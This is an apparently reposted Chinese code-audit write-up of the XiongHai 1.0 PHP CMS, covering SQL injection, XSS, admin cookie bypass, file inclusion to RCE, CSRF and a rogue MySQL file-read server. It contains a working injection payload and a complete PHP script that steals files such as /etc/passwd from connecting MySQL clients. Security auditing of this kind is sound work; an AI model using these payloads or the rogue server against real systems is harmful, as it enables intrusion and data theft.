熊海1.0cmsPHP代码审计

news2024/9/28 7:25:38

熊海1.0cmsPHP代码审计

环境搭建

下载之后直接使用phpstduy搭建就好了

工具使用

比如使用seay审计系统

image-20240805101911200

sql大多数是存在的,但是没有文件上传,这个就是需要自己去验证

漏洞审计

SQL注入

有点多,随便拿一个举例子

就比如我们的登录页面/admin/files/login.php

<?php 
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);

if (!mysql_num_rows($result)) {  
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;   
    }
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>

可以看到是没有过滤我们的输入的,直接拼接进了我们的sql语句

注入点在user

1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)#

image-20240805102344238

当然还有太多了,都是这个问题

XSS

xss就是要输出到页面上,还是有太多了,没有登录进管理系统的会

有下面几处

/files/contact.php

漏洞位置:files/contact.php 第12~15行

$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
    
<title><?php echo $navs['name']?> - <?php echo $pages.$info['name']?></title>    

可以看到是直接把我们的$pages输出到了页面上

image-20240805102704978

/files/content.php

这里有一个存储型的xss,因为是存在评论功能的,然后也会把我们的评论给输出到页面上

但是我没有成功就使用了其他的

/admin/files/

只要有list的地方,都会展示我们的输入,我只拿一个举例子

image-20240805103043552

比如我们的wzlist

展示文章,我们可以编辑文章,也可以新建文章

image-20240805103209239

然后保存后去展示页面

image-20240805103417778

垂直越权

我们看看后端是怎么验证我是一个admin的

我们随便去一个需要admin登录才可能访问的页面,都发现包含了一个文件…/inc/checklogin.php

我们去看看

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;	
}
?>

只是验证了我们的cookie,而且只要cookie不是空的就可以进入

但是有个细节,就是你虽然只要cookie不为空就不会强制你跳转到登录界面,如果要登录成功,还是需要正确的cookie,所以我们这里手动跳转

image-20240805112114335

然后成功登录到后台

文件包含

这个就不说了,太弱智了

index文件入口

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

直接就是包含任意文件了,可以目录穿越的
但是不能使用伪协议是比较可惜的,因为前面files/是多余字符

当然,文件包含很多利用,比如pear问包含,日志文件包含,我们都可以造成rce

不过我们需要知道路径,看y4是这样的

因为是宝塔安装的缘故所以很容易猜测到宝塔php的安装路径/www/server/php/52/,这里介绍另一个trick的使用也就是pearcmd.php,在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。,这里这个老cms一定是只能5版本所以一定可以

因此构造payload,往/tmp/hello.php写文件即可

image-20240805112605005

之后文件包含成功RCE

img

mysql任意文件读取

这个是我们刚刚搭建这个系统的时候,我们是需要连接mysql的

image-20240805112732851

这个时候就可以实现任意文件读取的操作

然后去搜索一下mysql任意文件读取的脚本就好了,根据你php的版本去找一下

<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }

$filename = "/etc/passwd";

$srv = stream_socket_server("tcp://0.0.0.0:1237");

while (true) {
  echo "Enter filename to get [$filename] > ";
  $newFilename = rtrim(fgets(STDIN), "\r\n");
  if (!empty($newFilename)) {
    $filename = $newFilename;
  }

  echo "[.] Waiting for connection on 0.0.0.0:1237\n";
  $s = stream_socket_accept($srv, -1, $peer);
  echo "[+] Connection from $peer - greet... ";
  fwrite($s, unhex('45 00 00 00 0a 35 2e 31  2e 36 33 2d 30 75 62 75
                    6e 74 75 30 2e 31 30 2e  30 34 2e 31 00 26 00 00
                    00 7a 42 7a 60 51 56 3b  64 00 ff f7 08 02 00 00
                    00 00 00 00 00 00 00 00  00 00 00 00 64 4c 2f 44
                    47 77 43 2a 43 56 63 72  00                     '));
  fread($s, 8192);
  echo "auth ok... ";
  fwrite($s, unhex('07 00 00 02 00 00 00 02  00 00 00'));
  fread($s, 8192);
  echo "some shit ok... ";
  fwrite($s, unhex('07 00 00 01 00 00 00 00  00 00 00'));
  fread($s, 8192);
  echo "want file... ";
  fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
  stream_socket_shutdown($s, STREAM_SHUT_WR);
  echo "\n";

  echo "[+] $filename from $peer:\n";

  $len = fread($s, 4);
  if(!empty($len)) {
    list (, $len) = unpack("V", $len);
    $len &= 0xffffff;
    while ($len > 0) {
      $chunk = fread($s, $len);
      $len -= strlen($chunk);
      echo $chunk;
    }
  }

  echo "\n\n";
  fclose($s);
}


image-20240805113157194

这些都是y4实现的,我也没有实现

CSRF漏洞

首先我们可以看到无论是什么操作,后端都是没有进行token验证的,所以如果admin登录了一个账户,我们诱导它去点击我们的链接,就可以实现一些操作,比如删除文章

先抓一个删除文件的包

然后使用bp自带的工具,生成csrf的poc,你可以放在你的官网服务器上,然后只要admin用户点击你的链接,就会删除文章

image-20240805114433920

参考

https://y4tacker.github.io/2022/06/16/year/2022/6/Y4%E6%95%99%E4%BD%A0%E5%AE%A1%E8%AE%A1%E7%B3%BB%E5%88%97%E4%B9%8B%E7%86%8A%E6%B5%B7CMS%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/#%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87%E5%85%8D%E5%AF%86%E7%A0%81%E7%99%BB%E5%85%A5%E5%90%8E%E5%8F%B0-%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83

6%95%99%E4%BD%A0%E5%AE%A1%E8%AE%A1%E7%B3%BB%E5%88%97%E4%B9%8B%E7%86%8A%E6%B5%B7CMS%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/#%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87%E5%85%8D%E5%AF%86%E7%A0%81%E7%99%BB%E5%85%A5%E5%90%8E%E5%8F%B0-%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83

https://xz.aliyun.com/t/10393?time__1311=Cqjx2Qi%3DqYwxlxGgh7Q4ODAOA7DCAeD#toc-4

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1980810.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

蚓链数字化生态系统:引领企业迈向数字化新时代

在当今竞争激烈的商业世界中&#xff0c;数字化转型已成为企业生存和发展的关键。然而&#xff0c;面对复杂的业务流程、海量的数据以及不断变化的市场需求&#xff0c;许多企业在数字化的道路上举步维艰。这时&#xff0c;蚓链数字化生态系统解决方案宛如一盏明灯&#xff0c;…

苹果手机清理软件:让你的iPhone保持最佳状态

随着iPhone成为我们生活中不可或缺的一部分&#xff0c;设备上积累的无用数据也在日益增多。这些数据不仅占据宝贵的存储空间&#xff0c;还可能影响设备的性能。幸运的是&#xff0c;市场上提供了多种苹果手机清理软件&#xff0c;帮助用户有效管理手机空间&#xff0c;提升设…

具有重加权位置和变换稀疏性的鲁棒非刚性配准算法 (RPTS)

该算法针对非刚性配准的问题。相较于刚性配准&#xff0c;非刚性配准更具有挑战性。要解决的问题通常是不适定的&#xff08;ill-posed&#xff09;、且自由度高&#xff0c;因此对噪声和异常值很敏感。为了提高非刚性配准算法对噪声和异常值的鲁棒性&#xff0c;李坤等人提出了…

【MetaGPT系列】【MetaGPT完全实践宝典——多智能体实践(辩论赛)构建】

目录 前言一、智能体1-1、Agent概述1-2、Agent与ChatGPT的区别 二、多智能体框架MetaGPT&#xff08;特朗普与拜登的二人辩论&#xff09;2-1、安装&配置2-2、使用已有的Agent&#xff08;ProductManager&#xff09;2-3、智能体对抗辩论——背景2-4、定义动作2-5、定义角色…

美亚科技现场检查问题不少:应收账款大幅攀升,与前员工交易金额巨大

《港湾商业观察》施子夫 6月27日&#xff0c;广东美亚旅游科技集团股份有限公司&#xff08;以下简称&#xff0c;美亚科技&#xff09;的IPO被北交所受理&#xff0c;保荐机构为广发证券。7月24日&#xff0c;北交所下发审核问询函。 此次IPO&#xff0c;美亚科技计划投资总…

GIS图形库更新2024.7.29-8.4

更多精彩内容请访问 dt.sim3d.cn Cesium 上周发布了1.120版本&#xff0c; ✨ 功能和改进 添加Transforms.computeIcrfToMoonFixedMatrix和Transforms.computeMoonFixedToIcrfMatrix这两个方法&#xff0c;用来计算给定时间内的月球固定坐标系和 ICRF&#xff08;国际天球参…

WLAN国家码与信道顺从表

国家码和信道顺从表及信道功率限制 不同的国家和地区规定了在本国或本地区可以使用的信道、射频信号在信道中的最大发射功率。工作在不同信道的射频信号&#xff0c;信号强度可能会有差别。国家码和信道顺从表、各信道的功率限制值、信道编号和频率对照关系请参见国家码和信道…

LED透明屏与LED显示屏

在当今数字化时代&#xff0c;显示技术的发展日新月异&#xff0c;LED显示屏作为其中的重要一员&#xff0c;已经渗透到我们生活的方方面面。而LED透明屏作为LED显示屏的创新产品&#xff0c;以其独特的优势在多个领域展现出巨大的应用潜力。本文将全面介绍LED透明屏与传统LED显…

18981 正方形和圆

这个问题可以通过计算正方形和圆的面积并比较它们的大小来解决。正方形的面积可以通过边长的平方来计算&#xff0c;圆的面积可以通过半径的平方乘以π来计&#xfffd;&#xfffd;&#xfffd;。 以下是使用C的代码实现&#xff1a; #include <iostream> #include &l…

云原生-利用容器和编排器

容器和编排器旨在解决单片部署方法中常见的问题。 1. 整体部署的挑战 传统上&#xff0c;大多数应用程序都是作为单个单元部署的。这样的应用程序被称为单体。这种将应用程序作为单个单元部署的一般方法&#xff08;即使它们由多个模块或程序集组成&#xff09;称为单体架构&…

Kubernets(k8s) 网络原理二:Pod访问外网

上一篇文章中&#xff0c;我们介绍了pod与宿主机通信&#xff0c;并且通过network namespace模拟了通信过程。回顾整个流程&#xff0c;无非就涉及到两个东西&#xff0c;通信设备和路由规则。 本文要讲的&#xff0c;也离不开这两个东西&#xff0c;只不过需要对容器IP进行额…

django高校毕业生就业推荐系统-计算机毕业设计源码26096

摘 要 当前就业市场竞争激烈&#xff0c;高校毕业生面临着就业难的问题&#xff0c;同时企业也面临招聘难、选人难的挑战。为了更好地对接高校毕业生和企业之间的需求&#xff0c;为毕业生提供个性化的就业求着信息&#xff0c;开发一套充分利用Django和Python技术实现的毕业生…

arcgis for js 如何自定义绘制仿高德导航线(自定义轨迹路线)

1、arcgis for js vue3 绘制效果图 实现 1、实现上图路线的自定义线条&#xff0c;先拆分线条为三个部分&#xff1a;较宽的暗绿色背景浅绿色背景白色箭头 2、自定义线条的symbol&#xff0c;使用CIMSymbol import CIMSymbol from "arcgis/core/symbols/CIMSymbol&q…

【Python教程】如何使用Jupyter Notebook

Jupyter Notebook 是一个基于 Web 的交互式计算环境&#xff0c;支持 Python、R、Julia 等多种编程语言。它是数据科学家、分析师和研究人员的常用工具。Jupyter Notebook 提供了一个强大的用户界面&#xff0c;可以通过笔记本格式进行代码编写、运行、调试、可视化和文档化。 …

DREAMLLM: SYNERGISTIC MULTIMODALCOMPREHENSION AND CREATION

发表时间&#xff1a;arXiv 2024年5月15日 论文链接&#xff1a;https://arxiv.org/pdf/2309.11499 作者单位&#xff1a;Xi’an Jiaotong University Motivation&#xff1a;本文介绍了 DREAMLLM&#xff0c;这是一个学习框架&#xff0c;首先实现了多功能多模态大型语言模型 …

Java IO.字符集,流,缓冲流 转换流 对象操作流

一.字符集 如果使用字节流 , 把文本文件中的内容读取到内存时, 可能会出现乱码 如果使用字节流 , 把中文写入文本文件中 , 也有可能会出现乱码 读取n.txt"你好" 两个汉字 字节流读中文&#xff0c;每次只能读一部分所以出现了乱码 字符集&#xff08;Character se…

美股:Nvidia的新一代AI芯片Blackwell或因设计缺陷推迟上市

设计缺陷影响推出时间 据知情人士透露&#xff0c;全球领先的芯片制造商Nvidia计划推出的最新人工智能(AI)芯片Blackwell可能面临长达三个月甚至更长的推迟。这一变动可能会影响到Nvidia的多位重要客户&#xff0c;包括Meta、谷歌和微软等&#xff0c;这些客户已订购了总值数百…

Datawhale AI 夏令营 从零入门 AI for Science(AI + 经济)

1.在TASK3中虽然给出了时间序列挖掘加融合模型的方法预测price&#xff0c;但是并不能识别到负电价的情况。查看TASK3给出的代码的预测结果可以发现模型几乎不会预测出负数&#xff0c;这和实际情况是有差别的。 2.利用爬虫爬取天气信息与风电信息绘制热力图 惊人的发现price和…

【MATLAB源码】数学建模基础教程(2)--层次分析法(评价类算法)

系列文章目录在最后面&#xff0c;各位同仁感兴趣可以看看&#xff01; 层次分析法 引言一、层次分析法的特点二、模型的建立求解过程 (1)问题的提出&#xff1a;实际问题的转化(2)建立层次结构模型(3)构造判断(成对比较)矩阵(4)一致性检验&#xff1a;三、层次分析法的优点与…

【无所从来,亦无所去】纪念去世的奶奶和外公「纪念网页」

大家好&#xff0c;我是DX3906 &#x1f308; 欢迎莅临我的个人主页 &#x1f448;这里是我静心耕耘大前端领域、真诚分享知识与智慧的小天地&#xff01;&#x1f387; 纪念 2024年 奶奶 85岁、 外公83岁。他们俩分别在今年的2月份和7月份离开了。 时光倒流&#xff0c;奶…